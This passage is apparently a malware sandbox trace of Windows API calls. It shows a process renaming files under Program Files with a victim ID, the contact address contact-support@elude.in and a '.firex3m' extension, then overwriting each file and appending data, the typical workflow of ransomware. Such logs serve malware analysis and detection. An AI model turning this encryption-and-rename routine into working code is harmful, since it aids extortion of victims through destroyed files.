(Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d8) returned 0x6fe3bb0 [0226.683] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MSASCui.exe" (normalized: "c:\\program files\\windows defender\\msascui.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.693] Sleep (dwMilliseconds=0x1) [0226.703] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html", len=0x6f | out: pbstr=0x40bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html") returned 1 [0226.703] GetProcessHeap () returned 0x630000 [0226.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0226.703] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0226.999] CloseHandle (hObject=0x700) returned 1 [0226.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.999] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.015] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5200 [0227.015] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0227.015] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-cn\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0227.015] GetProcessHeap () returned 0x630000 [0227.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e21) returned 0x726dd50 [0227.015] GetProcessHeap () returned 0x630000 [0227.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e21) returned 0x718b7d8 [0227.015] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.015] ReadFile (in: hFile=0x700, lpBuffer=0x726dd50, nNumberOfBytesToRead=0x8e00, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x726dd50*, lpNumberOfBytesRead=0x40bff0c*=0x8e00, lpOverlapped=0x0) returned 1 [0232.379] GetProcessHeap () returned 0x630000 [0232.379] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0232.379] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.379] WriteFile (in: hFile=0x700, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x40bff0c*=0x8e00, lpOverlapped=0x0) returned 1 [0233.341] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.342] WriteFile (in: hFile=0x700, lpBuffer=0x71945d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71945d7*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.912] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.912] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.912] CloseHandle (hObject=0x700) returned 1 [0233.916] GetProcessHeap () returned 0x630000 [0233.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0233.916] GetProcessHeap () returned 0x630000 [0233.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726dd50 | out: hHeap=0x630000) returned 1 [0233.916] GetProcessHeap () returned 0x630000 [0233.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0233.916] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x515ecbe5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8e40, dwReserved0=0xb247496, dwReserved1=0x726dd48, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0233.917] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0233.917] Sleep (dwMilliseconds=0x1) [0233.921] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x40bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml") returned 1 [0233.921] GetProcessHeap () returned 0x630000 [0233.921] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b4) returned 0x6fe3bb0 [0233.921] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0234.084] CloseHandle (hObject=0x6d0) returned 1 [0234.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0234.084] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5000 [0234.122] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0234.122] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\it-it\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0234.122] GetProcessHeap () returned 0x630000 [0234.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0234.122] GetProcessHeap () returned 0x630000 [0234.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x674b40 [0234.122] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.123] ReadFile (in: hFile=0x6d0, lpBuffer=0x699448, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesRead=0x40bff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.135] GetProcessHeap () returned 0x630000 [0234.135] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0234.135] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.135] WriteFile (in: hFile=0x6d0, lpBuffer=0x674b40*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x674b40*, lpNumberOfBytesWritten=0x40bff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.135] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.135] WriteFile (in: hFile=0x6d0, lpBuffer=0x674d5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x674d5f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.135] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.135] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.136] CloseHandle (hObject=0x6d0) returned 1 [0234.136] GetProcessHeap () returned 0x630000 [0234.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x674b40 | out: hHeap=0x630000) returned 1 [0234.136] GetProcessHeap () returned 0x630000 [0234.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0234.136] GetProcessHeap () returned 0x630000 [0234.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0235.207] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51802b8a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0xb247496, dwReserved1=0x699440, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5240 [0235.208] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.208] Sleep (dwMilliseconds=0x1) [0235.310] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html", len=0x6f | out: pbstr=0x40bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html") returned 1 [0235.310] GetProcessHeap () returned 0x630000 [0235.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5070) returned 0x6fe3bb0 [0235.310] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.311] CloseHandle (hObject=0x42c) returned 1 [0235.311] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.311] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfc6c | out: lpFindFileData=0x40bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0235.312] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.312] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0235.312] GetProcessHeap () returned 0x630000 [0235.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9921) returned 0x719ec10 [0235.312] GetProcessHeap () returned 0x630000 [0235.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9921) returned 0x72b84a0 [0235.313] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.313] ReadFile (in: hFile=0x42c, lpBuffer=0x719ec10, nNumberOfBytesToRead=0x9900, lpNumberOfBytesRead=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x40bff0c*=0x9900, lpOverlapped=0x0) returned 1 [0241.586] GetProcessHeap () returned 0x630000 [0241.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c648 [0241.586] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.586] WriteFile (in: hFile=0x42c, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0x9900, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x40bff0c*=0x9900, lpOverlapped=0x0) returned 1 [0241.587] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.587] WriteFile (in: hFile=0x42c, lpBuffer=0x72c1d9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c1d9f*, lpNumberOfBytesWritten=0x40bff0c*=0x20, lpOverlapped=0x0) returned 1 [0241.587] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0241.587] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x40bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x40bff0c*=0x4, lpOverlapped=0x0) returned 1 [0241.587] CloseHandle (hObject=0x42c) returned 1 [0241.587] GetProcessHeap () returned 0x630000 [0241.587] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0241.588] GetProcessHeap () returned 0x630000 [0241.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0241.588] GetProcessHeap () returned 0x630000 [0241.588] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c648 | out: hHeap=0x630000) returned 1 [0241.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x40bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0241.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x40bfcc4 | out: lpFindFileData=0x40bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x55f1d969, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x992e, dwReserved0=0xb247496, dwReserved1=0x719ec08, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0241.588] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0241.588] Sleep (dwMilliseconds=0x1) [0243.045] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml", len=0x93 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml") returned 1 [0243.045] GetProcessHeap () returned 0x630000 [0243.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x549c) returned 0x6fe3bb0 [0243.046] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\health.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.046] Sleep (dwMilliseconds=0x1) [0244.210] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x64 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0244.210] GetProcessHeap () returned 0x630000 [0244.210] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ec8) returned 0x6fe3bb0 [0244.211] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.227] Sleep (dwMilliseconds=0x1) [0244.237] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.News.exe", len=0x63 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.News.exe") returned 1 [0244.237] GetProcessHeap () returned 0x630000 [0244.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f84) returned 0x6fe3bb0 [0244.238] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.News.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.news.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.238] Sleep (dwMilliseconds=0x1) [0244.245] SysReAllocStringLen (in: pbstr=0x40bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf", len=0x75 | out: pbstr=0x40bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\Generic.xbf") returned 1 [0244.245] GetProcessHeap () returned 0x630000 [0244.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f78) 